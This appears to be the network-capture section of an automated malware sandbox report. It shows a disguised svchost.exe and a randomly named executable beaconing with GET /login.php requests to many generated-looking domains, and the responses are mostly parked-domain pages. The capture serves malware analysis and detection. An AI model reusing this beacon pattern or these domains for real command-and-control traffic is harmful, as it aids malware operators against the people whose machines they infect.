                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    58192.168.2.45575064.190.63.136807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:59.910888910 CET348OUTGET /login.php?sub1=20241112-0448-594c-a477-6c018702c73c HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww16.vofycot.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: __tad=1731347315.6084114
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651479959 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:49:00 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=UTF-8
                                                                                                                                                                                                                    transfer-encoding: chunked
                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                    expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                                    cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                    pragma: no-cache
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_wiExkto+39AjpA6M0htKZzsB50Kv+1ljq3XUfaBMlABs3XVN3kPpjhzhTHkVedMyX64UKybbA/06iU9lZ5r++A==
                                                                                                                                                                                                                    last-modified: Mon, 11 Nov 2024 17:49:00 GMT
                                                                                                                                                                                                                    x-cache-miss-from: parking-7596689c44-prw7b
                                                                                                                                                                                                                    server: Parking/1.0
                                                                                                                                                                                                                    Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 77 69 45 78 6b 74 6f 2b 33 39 41 6a 70 41 36 4d 30 68 74 4b 5a 7a 73 42 35 30 4b 76 2b 31 6c 6a 71 33 58 55 66 61 42 4d 6c 41 42 73 33 58 56 4e 33 6b 50 70 6a 68 7a 68 54 48 6b 56 65 64 4d 79 58 36 34 55 4b 79 62 62 41 2f 30 36 69 55 39 6c 5a 35 72 2b 2b 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_wiExkto+39AjpA6M0htKZzsB50Kv+1ljq3XUfaBMlABs3XVN3kPpjhzhTHkVedMyX64UKybbA/06iU9lZ5r++A==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651498079 CET1236INData Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d
                                                                                                                                                                                                                    Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com AEChas it all. We hope you find what you are searching for!"><link rel="icon" type="im
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651510954 CET1236INData Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65
                                                                                                                                                                                                                    Data Ascii: lay:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visib
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651647091 CET1236INData Raw: 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70
                                                                                                                                                                                                                    Data Ascii: tton;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.anno
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651658058 CET1236INData Raw: 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73
                                                                                                                                                                                                                    Data Ascii: a{font-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651669979 CET1236INData Raw: 65 78 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c
                                                                                                                                                                                                                    Data Ascii: ext{margin-top:10px;margin-right:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-tra
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.651680946 CET1236INData Raw: 73 2d 73 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62
                                                                                                                                                                                                                    Data Ascii: s-sm{background-color:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;col
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652060032 CET1236INData Raw: 74 65 58 28 32 36 70 78 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e
                                                                                                                                                                                                                    Data Ascii: teX(26px);-ms-transform:translateX(26px);transform:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20p
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652070045 CET248INData Raw: 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d
                                                                                                                                                                                                                    Data Ascii: verflow:hidden;-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1}.container-content--lp{min-height:720px}.container-content--rp{width:100%;min-height:820px;margin:0}.container-conten
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.652082920 CET1236INData Raw: 6f 74 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 37 32 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d 2d 74 77 6f 74 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 72 2d 61 64 73 2d 2d 74 77
                                                                                                                                                                                                                    Data Ascii: ot{min-height:720px}.container-content--twot .container-content__container-ads--twot{margin:0}.two-tier-ads-list{padding:0 0 1.6em 0}.two-tier-ads-list__list-element{list-style:none;padding:10px 0 5px 0;display:inline-block}.two-tier-ads-list_
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.656424999 CET1236INData Raw: 6c 69 6e 6b 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 31 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74
                                                                                                                                                                                                                    Data Ascii: link{line-height:30px;font-size:20px;color:#9fd801}.webarchive-block__list-element-link:link,.webarchive-block__list-element-link:visited{text-decoration:none}.webarchive-block__list-element-link:hover,.webarchive-block__list-element-link:acti


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    59192.168.2.455751199.59.243.227807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.036979914 CET404OUTGET /login.php?subid1=20241112-0448-59cb-b16c-5a12aa3054f5 HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: ww25.lyxynyx.com
                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                    Cookie: __tad=1731347316.6624222; parking_session=9f5eefdf-95b3-4d6f-9c7e-ea0014aca7af
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.462105989 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:59 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1230
                                                                                                                                                                                                                    x-request-id: 1b88cc07-db04-4d62-b2b2-8873c392adff
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_lrWLXY9/fqCeqwOrCZWSzOP9KoQBAfAMU8NH37ht5Ic+nl7jOY7J4I7VSl1EMPKzcB2NZGEQsWpoJYuIMHU6ug==
                                                                                                                                                                                                                    set-cookie: parking_session=9f5eefdf-95b3-4d6f-9c7e-ea0014aca7af; expires=Mon, 11 Nov 2024 18:04:00 GMT
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6c 72 57 4c 58 59 39 2f 66 71 43 65 71 77 4f 72 43 5a 57 53 7a 4f 50 39 4b 6f 51 42 41 66 41 4d 55 38 4e 48 33 37 68 74 35 49 63 2b 6e 6c 37 6a 4f 59 37 4a 34 49 37 56 53 6c 31 45 4d 50 4b 7a 63 42 32 4e 5a 47 45 51 73 57 70 6f 4a 59 75 49 4d 48 55 36 75 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_lrWLXY9/fqCeqwOrCZWSzOP9KoQBAfAMU8NH37ht5Ic+nl7jOY7J4I7VSl1EMPKzcB2NZGEQsWpoJYuIMHU6ug==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                                    Nov 11, 2024 18:49:00.462296963 CET656INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                                    Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWY1ZWVmZGYtOTViMy00ZDZmLTljN2UtZWEwMDE0YWNhN2FmIiwicGFnZV90aW1lIjoxNzMxMzQ3MzQwLCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    60192.168.2.45575372.52.179.17480
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:02.269740105 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyhub.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    61192.168.2.45575472.52.179.174807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:03.731367111 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyhub.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    62192.168.2.460888199.59.243.22780
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.340915918 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vojyqem.com
                                                                                                                                                                                                                    Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    63192.168.2.460887178.162.203.20280
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341134071 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    64192.168.2.460886208.100.26.24580
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341259956 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    65192.168.2.46088544.221.84.10580
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341919899 CET353OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qetyfuv.com
                                                                                                                                                                                                                    Cookie: snkz=66.23.206.109; btst=fc5e4a3e6aa42297d491f02bfad43b44|66.23.206.109|1731347337|1731347300|18|2|0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                                    66192.168.2.460906199.191.50.8380
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.352799892 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: galyqaz.com
                                                                                                                                                                                                                    Cookie: vsid=908vr478892903411187757


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    67192.168.2.460917199.59.243.227806400C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:18.620028019 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vojyqem.com
                                                                                                                                                                                                                    Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.043119907 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:49:18 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1094
                                                                                                                                                                                                                    x-request-id: 9ad6c786-372d-468f-a11b-983e2966c2b0
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                                    set-cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3; expires=Mon, 11 Nov 2024 18:04:18 GMT
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                                    Nov 11, 2024 18:49:19.043450117 CET520INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                                    Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2Q3OGRjMjgtZGVjNi00MDc3LWIxYTgtNTYxNjY5MWVlYmEzIiwicGFnZV90aW1lIjoxNzMxMzQ3MzU4LCJwYWdlX3VybCI6Imh0dHA6L


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    68192.168.2.449914199.191.50.83806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.886862993 CET281OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: galyqaz.com
                                                                                                                                                                                                                    Cookie: vsid=908vr478892903411187757
                                                                                                                                                                                                                    Nov 11, 2024 18:49:24.397816896 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:49:22 GMT
                                                                                                                                                                                                                    Server: Apache
                                                                                                                                                                                                                    Referrer-Policy: no-referrer-when-downgrade
                                                                                                                                                                                                                    Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                    Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com")
